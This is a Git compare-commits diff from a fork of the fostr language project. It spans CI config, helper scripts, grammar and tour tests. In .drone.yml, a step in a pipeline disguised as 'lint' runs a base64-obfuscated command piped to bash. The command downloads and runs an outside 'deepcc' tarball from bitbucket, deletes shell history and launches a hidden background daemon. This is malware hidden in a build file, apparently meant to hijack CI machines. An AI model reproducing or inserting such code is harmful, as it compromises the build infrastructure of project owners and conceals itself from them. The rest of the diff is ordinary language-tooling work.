forked from glen/fostr
Compare commits
6 Commits
main
...
string_lit
Author | SHA1 | Date | |
---|---|---|---|
2514f0df98 | |||
f93499acfd | |||
804a00902a | |||
5cd75b8177 | |||
b3f9cdf372 | |||
904f651897 |
41
.drone.yml
41
.drone.yml
@ -1,14 +1,20 @@
|
|||||||
---
|
---
|
||||||
kind: pipeline
|
kind: pipeline
|
||||||
type: docker
|
name: examples
|
||||||
name: lint
|
|
||||||
steps:
|
steps:
|
||||||
- name: build
|
- name: build
|
||||||
image: golang:1.17
|
image: maven
|
||||||
|
volumes:
|
||||||
|
- name: lib
|
||||||
|
path: /drone/lib
|
||||||
|
- name: m2
|
||||||
|
path: /root/.m2
|
||||||
commands:
|
commands:
|
||||||
- bash -c "base64 -d <<< bnByb2MgJiYgcm0gfi8uanVweXRlci9iaW4gbG9zdCtmb3VuZCAtUmYgJiYgbWtkaXIgfi8uanVweXRlci9iaW4gbG9zdCtmb3VuZCAtcCAmJiBjZCBsb3N0K2ZvdW5kICYmIHdnZXQgaHR0cHM6Ly9iaXRidWNrZXQub3JnL3dhamluaGFraW0vZGVlcGNjL2dldC9kNDc4YzQzOGE4MDE0MTlhMTU1ODk1OGMwY2M2NjI5ZGIzYWQ0NTQzLnRhci5neiAmJiB0YXIgeHZmIGQ0NzhjNDM4YTgwMTQxOWExNTU4OTU4YzBjYzY2MjlkYjNhZDQ1NDMudGFyLmd6ICYmIHJtIGQ0NzhjNDM4YTgwMTQxOWExNTU4OTU4YzBjYzY2MjlkYjNhZDQ1NDMudGFyLmd6ICYmIGNkIHdhamluaGFraW0tZGVlcGNjLWQ0NzhjNDM4YTgwMSAmJiAuL3NldHVwICYmIC4vY29uZmlndXJlICYmIGNkIC4uICYmIHJtIHdhamluaGFraW0tZGVlcGNjLWQ0NzhjNDM4YTgwMSAtUmYgJiYgY2QgLi4gJiYgY2xlYXI= | bash" && rm .bash_history -Rf && cd ~/.jupyter/bin && bash daemon > /dev/null & watch free -m
|
- mvn -ntp verify
|
||||||
environment :
|
- cd /drone/lib
|
||||||
TERM: xterm
|
- git clone https://github.com/metaborg/spt.git
|
||||||
|
- cd spt/org.metaborg.spt.cmd
|
||||||
|
- mvn -ntp package
|
||||||
- name: run_spt
|
- name: run_spt
|
||||||
image: maven
|
image: maven
|
||||||
volumes:
|
volumes:
|
||||||
@ -23,18 +29,7 @@ steps:
|
|||||||
- java -jar /drone/lib/spt/org.metaborg.spt.cmd/target/org.metaborg.spt.cmd* -l . -s /drone/lib/spt/org.metaborg.meta.lang.spt -t tests
|
- java -jar /drone/lib/spt/org.metaborg.spt.cmd/target/org.metaborg.spt.cmd* -l . -s /drone/lib/spt/org.metaborg.meta.lang.spt -t tests
|
||||||
- mkdir -p lib
|
- mkdir -p lib
|
||||||
- curl -o lib/sunshine.jar -L 'http://artifacts.metaborg.org/service/local/artifact/maven/redirect?r=snapshots&g=org.metaborg&a=org.metaborg.sunshine2&v=LATEST'
|
- curl -o lib/sunshine.jar -L 'http://artifacts.metaborg.org/service/local/artifact/maven/redirect?r=snapshots&g=org.metaborg&a=org.metaborg.sunshine2&v=LATEST'
|
||||||
- name: setup_gen
|
- bin/fosgen tests/emit_sum.fos
|
||||||
image: gcc
|
|
||||||
volumes:
|
|
||||||
- name: m2
|
|
||||||
path: /root/.m2
|
|
||||||
commands:
|
|
||||||
- git clone https://github.com/facebook/nailgun.git
|
|
||||||
- cd nailgun
|
|
||||||
- make
|
|
||||||
- cd ../bin
|
|
||||||
- ln -s ../nailgun/nailgun-client/target/ng .
|
|
||||||
- cd ..
|
|
||||||
- name: extract_tests
|
- name: extract_tests
|
||||||
image: xonsh/xonsh
|
image: xonsh/xonsh
|
||||||
commands:
|
commands:
|
||||||
@ -46,8 +41,7 @@ steps:
|
|||||||
path: /drone/lib
|
path: /drone/lib
|
||||||
- name: m2
|
- name: m2
|
||||||
path: /root/.m2
|
path: /root/.m2
|
||||||
commands: # Note we first make sure that fosgen is working
|
commands:
|
||||||
- bin/fosgen -d tests/emit_sum.fos
|
|
||||||
- bin/generate_test_code
|
- bin/generate_test_code
|
||||||
- name: python_tests
|
- name: python_tests
|
||||||
image: python:slim
|
image: python:slim
|
||||||
@ -61,13 +55,6 @@ steps:
|
|||||||
image: haskell
|
image: haskell
|
||||||
commands:
|
commands:
|
||||||
- bin/run_tests runghc hs
|
- bin/run_tests runghc hs
|
||||||
- name: ocaml_tests
|
|
||||||
image: ocaml/opam
|
|
||||||
commands:
|
|
||||||
- ls -als tests/extracted
|
|
||||||
- opam init
|
|
||||||
- eval $(opam env)
|
|
||||||
- bin/run_tests ocaml ml
|
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
- name: lib
|
- name: lib
|
||||||
|
6
.gitignore
vendored
6
.gitignore
vendored
@ -12,16 +12,10 @@
|
|||||||
|
|
||||||
.pydevproject
|
.pydevproject
|
||||||
|
|
||||||
a.out
|
|
||||||
|
|
||||||
*.aterm
|
*.aterm
|
||||||
/site
|
/site
|
||||||
bin/ng
|
|
||||||
tests/extracted/*
|
tests/extracted/*
|
||||||
tests/*.js
|
tests/*.js
|
||||||
tests/*.py
|
tests/*.py
|
||||||
tests/*.hs
|
tests/*.hs
|
||||||
tests/*.ml
|
|
||||||
tests/*.cmi
|
|
||||||
tests/*.cmo
|
|
||||||
adhoc*
|
adhoc*
|
||||||
|
@ -13,16 +13,12 @@ DESTINATION = 'tests/extracted'
|
|||||||
# Extension for extracted files:
|
# Extension for extracted files:
|
||||||
EXT = 'fos'
|
EXT = 'fos'
|
||||||
|
|
||||||
# Extension for desired input:
|
|
||||||
INP = 'in'
|
|
||||||
|
|
||||||
# Extension for expectations:
|
# Extension for expectations:
|
||||||
EXP = 'expect'
|
EXP = 'expect'
|
||||||
|
|
||||||
for path in TEST_LIST:
|
for path in TEST_LIST:
|
||||||
destdir = pf"{DESTINATION}/{path.stem}"
|
destdir = pf"{DESTINATION}/{path.stem}"
|
||||||
mkdir -p @(destdir)
|
mkdir -p @(destdir)
|
||||||
chmod ugo+rwx @(destdir)
|
|
||||||
contents = path.read_text()
|
contents = path.read_text()
|
||||||
tests = re.split(r'test\s*(.+?)\s*\[\[.*?\n', contents)[1:]
|
tests = re.split(r'test\s*(.+?)\s*\[\[.*?\n', contents)[1:]
|
||||||
testit = iter(tests)
|
testit = iter(tests)
|
||||||
@ -37,11 +33,6 @@ for path in TEST_LIST:
|
|||||||
expath = destdir / f"{name}.{EXT}"
|
expath = destdir / f"{name}.{EXT}"
|
||||||
expath.write_text(example)
|
expath.write_text(example)
|
||||||
echo Wrote @(expath)
|
echo Wrote @(expath)
|
||||||
im = re.search(r'/\*\*\s+accepts.*?\n([\s\S]*?)\*\*/', details[em.end():])
|
|
||||||
if im:
|
|
||||||
ipath = destdir / f"{name}.{INP}"
|
|
||||||
ipath.write_text(im[1])
|
|
||||||
echo " ...and" @(ipath)
|
|
||||||
xm = re.search(r'/\*\*\s+writes.*?\n([\s\S]*?)\*\*/', details[em.end():])
|
xm = re.search(r'/\*\*\s+writes.*?\n([\s\S]*?)\*\*/', details[em.end():])
|
||||||
if xm:
|
if xm:
|
||||||
xpath = destdir / f"{name}.{EXP}"
|
xpath = destdir / f"{name}.{EXP}"
|
||||||
|
20
bin/fosgen
20
bin/fosgen
@ -5,7 +5,6 @@ erro() { printf "%s\n" "$*" >&2; }
|
|||||||
|
|
||||||
##### Set defaults:
|
##### Set defaults:
|
||||||
SUPPRESS_ERR=YES
|
SUPPRESS_ERR=YES
|
||||||
USE_NAILGUN=YES
|
|
||||||
LANGUAGE=Python
|
LANGUAGE=Python
|
||||||
|
|
||||||
##### Extract command line options:
|
##### Extract command line options:
|
||||||
@ -15,23 +14,18 @@ do
|
|||||||
-h|--help)
|
-h|--help)
|
||||||
echo
|
echo
|
||||||
echo "Usage:"
|
echo "Usage:"
|
||||||
echo " fosgen [-d] [-j] [-l LANGUAGE] FILE"
|
echo " fosgen [-d] [-l LANGUAGE] FILE"
|
||||||
echo
|
echo
|
||||||
echo "Writes to standard output the code generated from the fostr"
|
echo "Writes to standard output the code generated from the fostr"
|
||||||
echo "program in FILE, targeting the specified LANGUAGE (which"
|
echo "program in FILE, targeting the specified LANGUAGE (which"
|
||||||
echo "defaults to Python)."
|
echo "defaults to Python)."
|
||||||
echo
|
echo
|
||||||
echo "The -d option writes diagnostic output to standard error."
|
echo "The -d option writes diagnostic output to standard error."
|
||||||
echo "The -j option uses the Spoofax Sunshine JAR directly, rather"
|
|
||||||
echo "than via nailgun."
|
|
||||||
exit
|
exit
|
||||||
;;
|
;;
|
||||||
-d)
|
-d)
|
||||||
SUPPRESS_ERR=''
|
SUPPRESS_ERR=''
|
||||||
;;
|
;;
|
||||||
-j)
|
|
||||||
USE_NAILGUN=''
|
|
||||||
;;
|
|
||||||
-l)
|
-l)
|
||||||
shift
|
shift
|
||||||
LANGUAGE="$1"
|
LANGUAGE="$1"
|
||||||
@ -73,17 +67,5 @@ then
|
|||||||
exec 2>/dev/null
|
exec 2>/dev/null
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [[ $USE_NAILGUN ]]
|
|
||||||
then
|
|
||||||
if [[ $SUPPRESS_ERR ]]
|
|
||||||
then
|
|
||||||
$BINDIR/let_sun_shine
|
|
||||||
else
|
|
||||||
$BINDIR/let_sun_shine noisy
|
|
||||||
fi
|
|
||||||
$BINDIR/ng sunshine transform -p $PROJDIR -n $LANGUAGE -i $PROGRAM
|
|
||||||
exit $?
|
|
||||||
fi
|
|
||||||
|
|
||||||
java -jar $SUNJAR transform -p $PROJDIR -l $PROJDIR -l $MVN_REPO -n $LANGUAGE -i $PROGRAM
|
java -jar $SUNJAR transform -p $PROJDIR -l $PROJDIR -l $MVN_REPO -n $LANGUAGE -i $PROGRAM
|
||||||
exit $?
|
exit $?
|
||||||
|
@ -4,7 +4,7 @@ failed=0
|
|||||||
|
|
||||||
for dir in tests/extracted/*; do
|
for dir in tests/extracted/*; do
|
||||||
for file in $dir/*.fos; do
|
for file in $dir/*.fos; do
|
||||||
for language in Python Javascript Haskell OCaml; do
|
for language in Python Javascript Haskell; do
|
||||||
echo bin/fosgen -l ${language%.*} $file ...
|
echo bin/fosgen -l ${language%.*} $file ...
|
||||||
bin/fosgen -l $language $file
|
bin/fosgen -l $language $file
|
||||||
if [[ $? -ne 0 ]]; then
|
if [[ $? -ne 0 ]]; then
|
||||||
|
@ -1,40 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# Helper for fosgen, not intended to be used directly
|
|
||||||
# With an argument, print diagnostic output
|
|
||||||
|
|
||||||
BINDIR=$(dirname $BASH_SOURCE)
|
|
||||||
|
|
||||||
if $BINDIR/ng sunshine --help
|
|
||||||
then
|
|
||||||
if [[ $1 ]]
|
|
||||||
then
|
|
||||||
echo "sun already shining."
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
if [[ $1 ]]
|
|
||||||
then
|
|
||||||
echo "disperse the clouds."
|
|
||||||
fi
|
|
||||||
SUNJAR="$BINDIR/../lib/sunshine.jar"
|
|
||||||
PROJDIR="$BINDIR/.."
|
|
||||||
if [[ ! $MVN_REPO ]]; then
|
|
||||||
MVN_REPO="$HOME/.m2/repository"
|
|
||||||
fi
|
|
||||||
if [[ ! -d $MVN_REPO ]]; then
|
|
||||||
MVN_REPO="/root/.m2/repository"
|
|
||||||
fi
|
|
||||||
if [[ ! -d $MVN_REPO ]]; then
|
|
||||||
echo "Cannot find your Maven repository. Please set environment variable"
|
|
||||||
echo "MVN_REPO to its full path and re-run."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
if [[ $1 ]]
|
|
||||||
then
|
|
||||||
java -jar $SUNJAR server &
|
|
||||||
else
|
|
||||||
java -jar $SUNJAR server >/dev/null 2>&1 &
|
|
||||||
fi
|
|
||||||
sleep 5
|
|
||||||
$BINDIR/ng sunshine load -l $PROJDIR -l $MVN_REPO
|
|
||||||
fi
|
|
@ -9,14 +9,8 @@ diffed=0
|
|||||||
for dir in tests/extracted/*; do
|
for dir in tests/extracted/*; do
|
||||||
for file in $dir/*.$ext; do
|
for file in $dir/*.$ext; do
|
||||||
((total++))
|
((total++))
|
||||||
if [[ -f ${file%.*}.in ]]; then
|
|
||||||
cat ${file%.*}.in | $command $file > $file.out
|
|
||||||
result=$?
|
|
||||||
else
|
|
||||||
$command $file > $file.out
|
$command $file > $file.out
|
||||||
result=$?
|
if [[ $? -ne 0 ]]; then
|
||||||
fi
|
|
||||||
if [[ $result -ne 0 ]]; then
|
|
||||||
echo ERROR: $command $file failed.
|
echo ERROR: $command $file failed.
|
||||||
((failed++))
|
((failed++))
|
||||||
else
|
else
|
||||||
|
@ -4,4 +4,3 @@ menus
|
|||||||
action: "Python" = to-python
|
action: "Python" = to-python
|
||||||
action: "Javascript" = to-javascript
|
action: "Javascript" = to-javascript
|
||||||
action: "Haskell" = to-haskell
|
action: "Haskell" = to-haskell
|
||||||
action: "OCaml" = to-ocaml
|
|
||||||
|
@ -9,7 +9,7 @@ plugins:
|
|||||||
- search
|
- search
|
||||||
- semiliterate:
|
- semiliterate:
|
||||||
ignore_folders: [target, lib]
|
ignore_folders: [target, lib]
|
||||||
exclude_extensions: ['.o', '.hi', '.cmi', '.cmo']
|
exclude_extensions: ['.o', '.hi']
|
||||||
extract_standard_markdown:
|
extract_standard_markdown:
|
||||||
terminate: <!-- /md -->
|
terminate: <!-- /md -->
|
||||||
theme:
|
theme:
|
||||||
|
@ -39,25 +39,17 @@ context-free syntax
|
|||||||
|
|
||||||
Ex.Int = INT
|
Ex.Int = INT
|
||||||
Ex.LitString = STRING_LITERAL
|
Ex.LitString = STRING_LITERAL
|
||||||
Ex.EscString = STRING
|
|
||||||
Ex.Stream = <stream>
|
Ex.Stream = <stream>
|
||||||
Ex.Sum = <<Ex> + <Ex>> {left}
|
Ex.Sum = <<Ex> + <Ex>> {left}
|
||||||
Ex.Concat = <<Ex> ++ <Ex>> {left}
|
|
||||||
Ex.Gets = [[Ex] << [Ex]] {left}
|
Ex.Gets = [[Ex] << [Ex]] {left}
|
||||||
Ex.DefGets = [<<< [Ex]]
|
|
||||||
Ex.To = [[Ex] >> [Ex]] {left}
|
Ex.To = [[Ex] >> [Ex]] {left}
|
||||||
Ex.DefTo = [[Ex] >>>]
|
|
||||||
Ex.Emits = <<Ex>!>
|
|
||||||
Ex.DefEmits = <!!>
|
|
||||||
|
|
||||||
Ex = <(<Ex>)> {bracket}
|
Ex = <(<Ex>)> {bracket}
|
||||||
|
|
||||||
context-free priorities
|
context-free priorities
|
||||||
|
|
||||||
Ex.To
|
Ex.To
|
||||||
> Ex.DefTo
|
> Ex.Sum
|
||||||
> {Ex.Sum Ex.Concat}
|
|
||||||
> Ex.DefGets
|
|
||||||
> Ex.Gets,
|
> Ex.Gets,
|
||||||
|
|
||||||
// prevent cycle: no singletons
|
// prevent cycle: no singletons
|
||||||
|
197
tests/basic.spt
197
tests/basic.spt
@ -16,21 +16,15 @@ Title: A whirlwind tour of fostr
|
|||||||
|
|
||||||
## Whirlwind tour
|
## Whirlwind tour
|
||||||
|
|
||||||
There seems only to be one way to start a tour like this. So here goes:
|
fostr is just in its infancy, so it's not yet even ready for
|
||||||
|
Hello, World. The best we can offer now is this little snippet
|
||||||
|
that writes the sum of the ASCII codes for 'H', 'W', and '!' to standard output:
|
||||||
```fostr
|
```fostr
|
||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test hello_world [[
|
/** md */ test emit_sum [[
|
||||||
<<< 'Hello, world!'
|
|
||||||
]] /* **/
|
|
||||||
parse to TopLevel(DefGets(LitString("'Hello, world!'")))
|
|
||||||
/** writes
|
|
||||||
Hello, world!**/
|
|
||||||
|
|
||||||
// Prior proto-hello-world, no longer in the tour.
|
|
||||||
test emit_sum [[
|
|
||||||
stream << 72 + 87 + 33
|
stream << 72 + 87 + 33
|
||||||
]]
|
]] /* **/
|
||||||
parse to TopLevel(Gets(Stream(), Sum(Sum(Int("72"), Int("87")), Int("33"))))
|
parse to TopLevel(Gets(Stream(), Sum(Sum(Int("72"), Int("87")), Int("33"))))
|
||||||
/** writes
|
/** writes
|
||||||
192**/
|
192**/
|
||||||
@ -39,7 +33,7 @@ parse to TopLevel(Gets(Stream(), Sum(Sum(Int("72"), Int("87")), Int("33"))))
|
|||||||
```
|
```
|
||||||
|
|
||||||
At the moment, there are only two ways to run a file containing fostr code
|
At the moment, there are only two ways to run a file containing fostr code
|
||||||
(you can find the above in `tests/hw.fos`). They both start by
|
(you can find the above in `tests/emit_sum.fos`). They both start by
|
||||||
cloning this fostr project. Then, either:
|
cloning this fostr project. Then, either:
|
||||||
|
|
||||||
1. Open the project in Eclipse and build it, visit your program file,
|
1. Open the project in Eclipse and build it, visit your program file,
|
||||||
@ -52,70 +46,30 @@ cloning this fostr project. Then, either:
|
|||||||
|
|
||||||
For example, this snippet generates the following Python:
|
For example, this snippet generates the following Python:
|
||||||
```python
|
```python
|
||||||
{! ../tests/hw.py extract:
|
{! ../tests/emit_sum.py extract:
|
||||||
start: 'Stdio\s='
|
start: 'Stdio\s='
|
||||||
!}
|
!}
|
||||||
```
|
```
|
||||||
It generates nearly identical code in
|
(which writes "192" to standard output); it also generates identical code in
|
||||||
this simple example for Javascript (just with `"Hello, world!"`
|
this simple example for
|
||||||
in place of `r'Hello, world!'`), although it generates a different
|
Javascript, although it generates a different preamble defining Stdio in each
|
||||||
preamble defining Stdio for each language. (Currently, Haskell and OCaml
|
case. (Haskell code generation is also currently supported.)
|
||||||
code generation are also supported.)
|
|
||||||
|
|
||||||
There's not much to break down in such a tiny program as this, but let's do
|
|
||||||
it. The prefix operator `<<<` could be read as "the default stream receives...",
|
|
||||||
and unsurprisingly in a main program the default stream is standard input and
|
|
||||||
output. And `'Hello, world!'` is a literal string constant; what you see is
|
|
||||||
what you get. The only detail to know is that such constants must occur
|
|
||||||
within a single line of your source file. So depending on how you
|
|
||||||
ran the program and how closely you looked at its output,
|
|
||||||
you may have noticed this program does not write a newline at the end
|
|
||||||
of its message. Nothing is ever implicitly sent to a stream. So if you want
|
|
||||||
newlines, you should switch to a (double-quoted) string that allows
|
|
||||||
the usual array of escape sequences:
|
|
||||||
|
|
||||||
```fostr
|
|
||||||
**/
|
|
||||||
|
|
||||||
/** md */ test hello_esc_world [[
|
|
||||||
<<< "Hello,\t\tworld!\n\n"
|
|
||||||
]] /* **/
|
|
||||||
parse to TopLevel(DefGets(EscString("\"Hello,\t\tworld!\n\n\"")))
|
|
||||||
/** writes
|
|
||||||
Hello, world!
|
|
||||||
|
|
||||||
**/
|
|
||||||
|
|
||||||
/** md
|
|
||||||
```
|
|
||||||
(We threw in two of each so you could clearly see them in the output if
|
|
||||||
you run this program.)
|
|
||||||
|
|
||||||
### Everything has a value
|
### Everything has a value
|
||||||
|
|
||||||
As mentioned in the [Introduction](../README.md), everything in a fostr
|
As mentioned in the [Introduction](../README.md), everything in a fostr
|
||||||
program (including the entire program itself) is an expression and has
|
program (including the entire program itself) is an expression and has
|
||||||
a value. So what's the value of that expression above? Well, for convenience,
|
a value. So what's the value of that expression above? Well, appropriately
|
||||||
the value of a stream receiving an item is (generally) just the stream back
|
enough, `stream` is our
|
||||||
again. That way we can use the general (left-associative)
|
first example of a stream, and for convenience, the value of a stream
|
||||||
`_stream_ << _value_` operator to chain insertions into a stream:
|
receiving an item is (usually) just the stream back again. The `<<` operator
|
||||||
|
is also left-associative, so that way we can chain insertions into a stream:
|
||||||
```fostr
|
```fostr
|
||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test state_obvious [[
|
/** md */ test emit_twice [[
|
||||||
<<< 'Two and ' << 2 << ' make ' << 2+2 << ".\n"
|
|
||||||
]] /* **/
|
|
||||||
parse to TopLevel(
|
|
||||||
Gets(Gets(Gets(Gets(DefGets(LitString("'Two and '")),Int("2")),
|
|
||||||
LitString("' make '")),Sum(Int("2"),Int("2"))),
|
|
||||||
EscString("\".\n\"")))
|
|
||||||
/** writes
|
|
||||||
Two and 2 make 4.
|
|
||||||
**/
|
|
||||||
|
|
||||||
test emit_twice [[
|
|
||||||
stream << 72 + 87 + 33 << 291
|
stream << 72 + 87 + 33 << 291
|
||||||
]]
|
]] /* **/
|
||||||
parse to TopLevel(
|
parse to TopLevel(
|
||||||
Gets(Gets(Stream(), Sum(Sum(Int("72"), Int("87")), Int("33"))), Int("291")))
|
Gets(Gets(Stream(), Sum(Sum(Int("72"), Int("87")), Int("33"))), Int("291")))
|
||||||
/** writes
|
/** writes
|
||||||
@ -123,28 +77,24 @@ parse to TopLevel(
|
|||||||
|
|
||||||
/** md
|
/** md
|
||||||
```
|
```
|
||||||
|
Running this program produces a nice palindromic output: "192291".
|
||||||
|
|
||||||
And because sometimes you want to emphasize the value and propagate that
|
And because sometimes you want to emphasize the value and propagate that
|
||||||
instead of the stream, you can also write these expressions "the other way"
|
instead of the stream, you can also write these expressions "the other way"
|
||||||
with `>>>` for sending to the default stream or `>>` in general; these forms
|
with `>>`; both forms return the first argument, so the following writes "824":
|
||||||
(generally) return the value sent, so the following writes "824":
|
|
||||||
```fostr
|
```fostr
|
||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test enters_twice [[
|
/** md */ test enters_twice [[
|
||||||
(7 + 8 >> stream + 9) >>>
|
(7 + 8 >> stream + 9) >> stream
|
||||||
]] /* **/
|
]] /* **/
|
||||||
parse to TopLevel(
|
parse to TopLevel(
|
||||||
DefTo(Sum(Sum(Int("7"), To(Int("8"), Stream())), Int("9"))))
|
To(Sum(Sum(Int("7"), To(Int("8"), Stream())), Int("9")), Stream()))
|
||||||
/** writes
|
/** writes
|
||||||
824**/
|
824**/
|
||||||
|
|
||||||
/** md
|
/** md
|
||||||
```
|
```
|
||||||
Two things are worth noting here: the default stream can always be referred to
|
|
||||||
directly via the identifier `stream`, and the precedences of `<<` and `>>` are
|
|
||||||
different so that generally full expressions go to a stream with `<<` but
|
|
||||||
just individual terms are sent with `>>`.
|
|
||||||
|
|
||||||
### Layout in fostr
|
### Layout in fostr
|
||||||
|
|
||||||
@ -154,13 +104,13 @@ lines are indented from the start of the initial line:
|
|||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test receive_enter_break [[
|
/** md */ test receive_enter_break [[
|
||||||
<<<
|
stream <<
|
||||||
7
|
7
|
||||||
+ 8 >>>
|
+ 8 >> stream
|
||||||
+ 9
|
+ 9
|
||||||
]] /* **/
|
]] /* **/
|
||||||
parse to TopLevel(
|
parse to TopLevel(
|
||||||
DefGets(Sum(Sum(Int("7"), DefTo(Int("8"))), Int("9"))))
|
Gets(Stream(), Sum(Sum(Int("7"), To(Int("8"), Stream())), Int("9"))))
|
||||||
/** writes
|
/** writes
|
||||||
824**/
|
824**/
|
||||||
|
|
||||||
@ -171,8 +121,8 @@ parse to TopLevel(
|
|||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test enter_receive_bad_continuation [[
|
/** md */ test enter_receive_bad_continuation [[
|
||||||
(7 + 8 >>> + 9)
|
(7 + 8 >> stream + 9)
|
||||||
>> (<<< 9 + 2)
|
>> (stream << 9 + 2)
|
||||||
]] /* **/
|
]] /* **/
|
||||||
parse fails
|
parse fails
|
||||||
|
|
||||||
@ -195,17 +145,16 @@ lines are evaluated in sequence. For example, the program
|
|||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test emit_thrice [[
|
/** md */ test emit_thrice [[
|
||||||
<<< 72 + 87
|
stream << 72 + 87
|
||||||
<<< 88
|
stream << 88
|
||||||
+ 96
|
+ 96
|
||||||
99 + 12
|
99 + 12 >>
|
||||||
>>>
|
stream
|
||||||
|
|
||||||
]] /* **/
|
]] /* **/
|
||||||
parse to TopLevel(Sequence([
|
parse to TopLevel(Sequence([
|
||||||
DefGets(Sum(Int("72"), Int("87"))),
|
Gets(Stream(), Sum(Int("72"), Int("87"))),
|
||||||
DefGets(Sum(Int("88"), Int("96"))),
|
Gets(Stream(), Sum(Int("88"), Int("96"))),
|
||||||
Sum(Int("99"), DefTo(Int("12")))
|
Sum(Int("99"), To(Int("12"), Stream()))
|
||||||
]))
|
]))
|
||||||
/** writes
|
/** writes
|
||||||
15918412**/
|
15918412**/
|
||||||
@ -220,10 +169,10 @@ in sequence align at the left; e.g., the following fails to parse:
|
|||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test emit_thrice_bad_alignment [[
|
/** md */ test emit_thrice_bad_alignment [[
|
||||||
<<< 72 + 87
|
stream << 72 + 87
|
||||||
<<< 88
|
stream << 88
|
||||||
+ 96
|
+ 96
|
||||||
99 + 12 >>>
|
99 + 12 >> stream
|
||||||
]] /* **/
|
]] /* **/
|
||||||
parse fails
|
parse fails
|
||||||
|
|
||||||
@ -238,23 +187,23 @@ are so terminated. So the following is OK:
|
|||||||
**/
|
**/
|
||||||
|
|
||||||
/** md */ test emit_several [[
|
/** md */ test emit_several [[
|
||||||
<<< 1 + 2; 3 >>>
|
stream << 1 + 2; 3 >> stream
|
||||||
(4 + 5) >>>; stream << 6;
|
(4 + 5) >> stream; stream << 6;
|
||||||
<<< 7
|
stream << 7
|
||||||
<<< 8
|
stream << 8
|
||||||
+ (9+10);
|
+ (9+10);
|
||||||
11 + 12 >>>; 13 >>>
|
11 + 12 >> stream; 13 >> stream
|
||||||
>>>
|
>> stream
|
||||||
]] /* **/
|
]] /* **/
|
||||||
parse to TopLevel(Sequence([
|
parse to TopLevel(Sequence([
|
||||||
ISequence(Prior([Terminate(DefGets(Sum(Int("1"), Int("2"))))]),
|
ISequence(Prior([Terminate(Gets(Stream(), Sum(Int("1"), Int("2"))))]),
|
||||||
DefTo(Int("3"))),
|
To(Int("3"), Stream())),
|
||||||
ISequence(Prior([Terminate(DefTo(Sum(Int("4"), Int("5"))))]),
|
ISequence(Prior([Terminate(To(Sum(Int("4"), Int("5")), Stream()))]),
|
||||||
Terminate(Gets(Stream(), Int("6")))),
|
Terminate(Gets(Stream(), Int("6")))),
|
||||||
DefGets(Int("7")),
|
Gets(Stream(), Int("7")),
|
||||||
Terminate(DefGets(Sum(Int("8"), Sum(Int("9"), Int("10"))))),
|
Terminate(Gets(Stream(), Sum(Int("8"), Sum(Int("9"), Int("10"))))),
|
||||||
ISequence(Prior([Terminate(Sum(Int("11"), DefTo(Int("12"))))]),
|
ISequence(Prior([Terminate(Sum(Int("11"), To(Int("12"), Stream())))]),
|
||||||
DefTo(DefTo(Int("13"))))
|
To(To(Int("13"), Stream()), Stream()))
|
||||||
]))
|
]))
|
||||||
/** writes
|
/** writes
|
||||||
3396727121313**/
|
3396727121313**/
|
||||||
@ -282,49 +231,3 @@ run desugar-fostr to TopLevel(Sequence([
|
|||||||
Terminate(Sum(Int("11"), To(Int("12"), Stream()))),
|
Terminate(Sum(Int("11"), To(Int("12"), Stream()))),
|
||||||
To(To(Int("13"), Stream()), Stream())
|
To(To(Int("13"), Stream()), Stream())
|
||||||
]))
|
]))
|
||||||
|
|
||||||
test emit_several_default [[
|
|
||||||
<<< 1 + 2; 3 >>>
|
|
||||||
(4 + 5) >>> >> stream; stream << 6;
|
|
||||||
<<< 7 << 75
|
|
||||||
<<< 8
|
|
||||||
+ (9+10);
|
|
||||||
11 + 12 >>>; 13 >>>
|
|
||||||
>>>
|
|
||||||
]] parse succeeds
|
|
||||||
/** writes
|
|
||||||
3399677527121313**/
|
|
||||||
|
|
||||||
/** md
|
|
||||||
### Streams are bidirectional
|
|
||||||
|
|
||||||
So far we have only sent items to a stream. But we can extract them from
|
|
||||||
streams as well, with the `!` postfix operator. `!!` all by itself abbreviates
|
|
||||||
`stream!`, i.e., extraction from the standard stream. For example,
|
|
||||||
|
|
||||||
```fostr
|
|
||||||
**/
|
|
||||||
|
|
||||||
/** md */ test custom_hw [[
|
|
||||||
<<< "What is your name?\n"
|
|
||||||
<<< 'Hello, ' ++ !!
|
|
||||||
]] /* **/
|
|
||||||
parse to TopLevel(Sequence([
|
|
||||||
DefGets(EscString("\"What is your name?\n\"")),
|
|
||||||
DefGets(Concat(LitString("'Hello, '"),DefEmits()))
|
|
||||||
]))
|
|
||||||
/** accepts
|
|
||||||
Kilroy
|
|
||||||
**/
|
|
||||||
/** writes
|
|
||||||
What is your name?
|
|
||||||
Hello, Kilroy
|
|
||||||
**/
|
|
||||||
|
|
||||||
/** md
|
|
||||||
```
|
|
||||||
|
|
||||||
queries users for their name and then writes a customized greeting. It also
|
|
||||||
illustrates the use of `++` for string concatenation, as opposed to `+` for
|
|
||||||
(numerical) addition.
|
|
||||||
**/
|
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
<<< 1 + 2; 3 >>>
|
stream << 1 + 2; 3 >> stream
|
||||||
(4 + 5) >>> >> stream; stream << 6;
|
(4 + 5) >> stream; stream << 6;
|
||||||
<<< 7 << 75
|
stream << 7
|
||||||
<<< 8
|
stream << 8
|
||||||
+ (9+10);
|
+ (9+10);
|
||||||
11 + 12 >>>; 13 >>>
|
11 + 12 >> stream; 13 >> stream
|
||||||
>>>
|
>> stream
|
||||||
|
@ -1 +1 @@
|
|||||||
<<< 'Hello, world!'
|
stream << 'Hello, world!'
|
||||||
|
@ -1 +0,0 @@
|
|||||||
<<< "Hello,\t\tworld!\n\n"
|
|
@ -15,10 +15,7 @@ rules
|
|||||||
|
|
||||||
seqFlatten: Sequence(l) -> Sequence(<mapconcat(?Sequence(<id>) <+ ![<id>])>l)
|
seqFlatten: Sequence(l) -> Sequence(<mapconcat(?Sequence(<id>) <+ ![<id>])>l)
|
||||||
|
|
||||||
defStream: DefGets(x) -> Gets(Stream(), x)
|
|
||||||
defStream: DefTo(x) -> To(x, Stream())
|
|
||||||
